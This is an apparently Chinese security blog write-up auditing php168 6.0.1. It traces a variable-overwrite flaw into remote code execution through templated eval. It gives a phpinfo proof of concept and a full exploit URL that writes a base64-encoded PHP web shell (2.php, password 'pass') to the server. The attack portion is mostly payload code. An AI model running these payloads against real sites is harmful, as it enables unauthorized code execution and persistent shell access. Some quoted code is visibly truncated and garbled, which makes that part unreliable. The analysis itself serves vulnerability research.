php168 6.0.1变量覆盖 -》 远程代码执行漏洞
前言:敢说全网最详细是因为我做一半我做不下去了,我心态做崩溃了,然后上网找漏洞成因,我找不到,然后又搞了好久,真的心态崩了,到最后灰盒测试的时候我可能PHP版本原因,我php代码写的是
``
url是 ?job=abc
然后他真的输出 abc 了
当时php版本好像是5.2
找出来是php版本问题的时候我幼小的心灵真的受到了莫大的冲击
源码在附件里
1. 代码审计
1. 漏洞产生文件
2. 漏洞函数
function get_html_url(){
global $rsdb,$aid,$fidDB,$webdb,$fid,$page,$showHtml_Type,$Html_Type;
$id=$aid;
if($page$_value){
!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
很明显变量覆盖
也就是说,我们get传参,传啥有啥
post也行其实
因为这里也对POST传参干了这么一套流程
3. Add_s() 函数 过滤传参
往上找的话
可以看到一段
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
$value=str_replace("&#x","& # x",$value); //过滤一些不安全字符
$value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}
能看到 eval 是被过滤了
这里想要传入
${eval($_REQUEST[‘cmd’])}
是不太可能了
并且添加了魔术引号
既然找到了这里存在任意变量覆盖漏洞
我们就再回到post.php中看看上面还需要满足什么条件
4. showerr()函数追踪
我们可以看到showerr()的提示都是一些无权限
说明这里可能是类似于exit的东西,会停止页面执行
全局搜索,追踪一下
我们可以看到这里一个 if 是退回上一级目录
在js中 history.back(-1) 这行代码就是退回上一级目录的意思
else 是去包含 showerr.htm 文件
然后退出
function showerr($msg,$type=''){
global $webdb,$showerrMsg;
$showerrMsg=$msg;
if($type==1){
$msg=str_replace("'","\'",$msg);
echo "
";
}else{
require(PHP168_PATH."template/default/showerr.htm");
}
exit;
}
5. 条件分析
自下而上分析一下第一个条件
这里需要 $job 不等于 ‘postnew’
并且
$lfjid 的布尔值为 false 或者 为空 或者 为 0
两个条件都满足就会停止执行
如果我们想要触发漏洞
$job的值就需要是 ‘endHtml’
这里已经满足一个条件
只能从另一个条件入手
想办法让另一个条件不成立
亦或者 因为 这里的提示信息是 游客无权操作
所以只要我们不是游客身份,也就是注册个用户
再弄,就不会触发了
if(!$lfjid&&$job!='postnew')
{
showerr("游客无权操作");
}
第二个条件
第二个 if 中有三个条件判断是,都是以 && 符号连接
也就是三个都满足才会执行
if($fidDB&&!$web_admin&&!in_array($groupdb[gid],explode(',',$fidDB[allowpost])))
{
showerr("你所在用户组无权在本栏目“{$fidDB[name]}”有任何操作");
}
-
$fidDB
-
!$web_admin
-
!inarray($groupdb[gid],explode(',',$fidDB[allowpost]))
这三个条件分别解释的话
1 存在$fidDB值且非0
2 web_admin 的值为 0 或 false
3 $groupdb[gid] 得到的值不存在于 explode(‘,’,$fidDB[allowpost])) 中
$fidDB的值是由第三个条件从而赋值的
我们先看第三个条件
第三个条件
$fid 和 $stop 两个变量有一个存在就会执行
if($fid||$step){
$fidDB=$db->get_one("SELECT * FROM {$pre}sort WHERE fid='$fid'");
!$fidDB && showerr("栏目有误");
$fidDB[type]!=0 && showerr("你只能选择子栏目发表内容!");
}
$fidDB是根据 $fid 生成的
$fid的值并未在本页面赋值
可以判断这个可能也是由get传入
$$_key那里来进行赋值
所以应该不传入就行了
再向上最后一个 if 条件if((!$fid&&!$only)||$jobs=="choose")
可以分为两个条件
两个条件满足一个就会触发!fid&&!$only
$jobs=='choose'
第一个条件是说不存在 $fid 并且不存在$only
第二个条件是说需要 $jobs 等于 ‘choose’
这里的话直接实测一下他们的值
测试
直接访问
会提示你所在用户组无权发表文章
然后我们打开代码发现
这条语句是自上而下第一个 if 的内容
我们在这个上面分别die一下这三个变量的值
然后我们发现 this is 后面啥也没有
说明这里是空值
$only和$jobs也一样
根据上面的分析条件
$fid是空值就是最好的状态
所以我们传入 only=1
删掉die语句
然后他让我登录…
我们来寻找一下是哪个地方让我们登录的
通过die(‘abc’);
来查看代码到哪条语句之后让登录
哪条语句之前会 die 掉
就能找到是哪里让我们进行登录操作的
是这里的 showerror 函数拦截了我们
我们die一下 $lfjid 的值
根据这里的游客无权操作,我们可以得知应该注册账号就行了
但是因为前面的变量覆盖漏洞
我们试试看可不可以传入一个 lfjid=1 从而绕过
可以发现还是不行
那就直接注册一个用户
然后会发现页面没有提示了
那么根据上面构造的语句
POC:
?showHtml_Type[bencandy][1]={${phpinfo()}}
&aid=1
&only=1
&job=endHtml
GetShell
因为禁止了eval()函数
我们想要写入eval()木马的话
可以这样
{${phpinfo() and print(ok)}}
{${file_put_contents(“2.php”,base_decode(‘PD9AZXZhbCgkX1BPU1RbJ3Bhc3MnXSk7Pz4g’)) and print(‘ok’)}}
结果我们发现页面上并没有打印ok
这里的话因为php的版本问题(5.2.17)用下面的exp就能够生成木马
但是版本高了的话就不太能用了这个exp
因为魔术引号的存在就有了局限性
但是如果有CTF大佬的话这肯定也不在话下
exp就是下面这个
Mi5waHAg 是 2.php空格 的base64编码
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3Bhc3MnXSk7Pz4g 是一句话木马空格的base64编码
反正得在最后加一个空格,连着空格一起base64编码
就能得到这两串
按理来说里面是不允许存在 / = 这样的
/ 和 = 号也并未被拦截过滤,反正就是不能执行
通过这张截图就能看出来
因为这里的 die 语句我是写在 eval上面的
在最后命令执行的时候就是这个样子了
=和/都没被过滤
EXP:
?showHtml_Type[bencandy][1]={${file_put_contents(base64_decode('Mi5waHAg'),base64_decode('PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3Bhc3MnXSk7Pz4g')) and print('ok')}}&aid=1&only=1&job=endHTML
会生成一个 2.php 密码为 pass 的文件
总结
这里其实也可以倒过来找漏洞
这里是从 eval 找到变量覆盖
其实也可以从变量覆盖的地方找到 eval rce
两种思路都可以
到了最后 exp 的地方我也蒙了
也不是很能找到原因
网上更是找不到相关的解析
找到的都要么直接放exp
要么就很乱的代码
修复建议
使用最新的cms框架
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。
免费领取安全学习资料包!
渗透工具
技术文档、书籍
面试题
帮助你在面试中脱颖而出
视频
基础到进阶
环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等
应急响应笔记
学习路线